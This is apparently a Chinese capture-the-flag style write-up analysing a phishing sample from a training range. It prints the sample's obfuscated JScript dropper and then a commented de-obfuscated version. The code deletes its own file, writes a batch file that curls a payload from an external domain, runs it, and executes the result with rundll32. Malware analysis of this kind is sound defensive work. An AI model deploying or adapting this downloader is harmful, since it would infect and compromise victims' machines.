玄机靶场挑战【第六章 流量特征分析-小王公司收到的钓鱼邮件】，说实话，我是冲着这个样本儿来的

certutil -hashfile file.zip MD5

x808919187 = "true";x449195806 = "false";v395493070(z986383452);function k25931219(f684415514, p717292302) {  d398776207 = '"'+f684415514 + '".match( "' + p717292302+'" )';  return s843092254(d398776207);}function w327424018(q853060332, q577476678, g985523219) {  g281403925 = "( new ActiveXObject( "WScript.Shell" ) ).Run( '" + q853060332 + "', " + q577476678 + ", " + g985523219 + " )";  v395493070(function () {    s843092254(g281403925);  });}function v395493070(j712825305) {  try {    new n616719679(y302945094);  } catch (t33400252) {    w265553656 = "undefined";    if (k25931219(w265553656)) {      j712825305();    }  }}function y18358769(u311868867) {  s169557020 = "cmd.exe /c del " " + u311868867 + " "";  w327424018(s169557020, x449195806, x808919187);}function z986383452(n865649288) {  f350474578 = "WScript.ScriptFullName";  d1887591 = "\\";  z272081462 = s843092254(f350474578).replace(/\/g, d1887591);  y18358769(z272081462);}function u615667760(i750922179, u311868867) {  u710353204 = 'cmd.exe /c echo|set /p="cu" > "%temp%\\dolorem.p.bat"';  w327424018(u710353204, x449195806, x808919187);  u789315486 = 'cmd.exe /c echo rl "'+i750922179+'" --output "%temp%\\dolorem.p" --ssl-no-revoke --insecure --location >> "%temp%\\dolorem.p.bat"';  w327424018(u789315486, x449195806, x808919187);  r831075319 = 'cmd.exe /c "%temp%\\dolorem.p.bat"';  w327424018(r831075319, x449195806, x808919187);  c529743610 = '%temp%\\dolorem.p.bat';  y18358769(c529743610);  h329414666 = 'cmd.exe /c ren "%temp%\\dolorem.p" ';  h329414666 += u311868867;  w327424018(h329414666, x449195806, x808919187);}function r418484478(u311868867) {  m948706178 = 'rundll32 "%temp%\\' + u311868867 + '" Enter';  w327424018(m948706178, x449195806);}function r581327250(u311868867) {  y618891844 = 'cmd.exe /c "%temp%\\' + u311868867 + '"';  w327424018(y618891844, x449195806);}function s843092254(p326825704) {  return eval(p326825704);}o457607380 = "https://shakyastatuestrade.com/IhA6F/616231603";l988241708 = "qui.q";u615667760(o457607380, l988241708);r418484478(l988241708);

/** * 这个调用链还是有点小复杂 */// 获取当前脚本的完整路径，生成删除命令，并执行v395493070(function () {    z272081462 = eval("WScript.ScriptFullName").replace(/\/g, "\\");    g281403925 ='( new ActiveXObject( "WScript.Shell" ) ).Run( 'cmd.exe /c del " ' + z272081462 + ' "', false, true )';    v395493070(function () {        eval(g281403925);    });});// 创建批处理文件在 temp 目录下，名为 dolorem.p.batv395493070(function () {    eval("( new ActiveXObject( "WScript.Shell" ) ).Run( 'cmd.exe /c echo|set /p="cu" > "%temp%\\dolorem.p.bat"', false, true )");});// 从指定域名下载一个文件，并追加到批处理文件 dolorem.p.bat 中v395493070(function () {    eval("( new ActiveXObject( "WScript.Shell" ) ).Run( '" + 'cmd.exe /c echo rl "https://shakyastatuestrade.com/IhA6F/616231603" --output "%temp%\\dolorem.p" --ssl-no-revoke --insecure --location >> "%temp%\\dolorem.p.bat"' + "', false, true )");});// 执行批处理文件 dolorem.p.batv395493070(function () {    eval("( new ActiveXObject( "WScript.Shell" ) ).Run( '" + 'cmd.exe /c "%temp%\\dolorem.p.bat"' + "', false, true )");});// 删除批处理文件v395493070(function () {    eval("( new ActiveXObject( "WScript.Shell" ) ).Run( '" + "cmd.exe /c del " " + '%temp%\\dolorem.p.bat' + " "", "false", "true" + "', false, true )");});// 重命名下载的文件 qui.qv395493070(function () {    eval("( new ActiveXObject( "WScript.Shell" ) ).Run( '" + 'cmd.exe /c ren "%temp%\\dolorem.p" qui.q' + "', false, true )");});// 运行下载的重命名后的文件 qui.qv395493070(function () {    eval("( new ActiveXObject( "WScript.Shell" ) ).Run( '" + 'rundll32 "%temp%\\' + "qui.q" + '" Enter', "false" + "', false, true )");});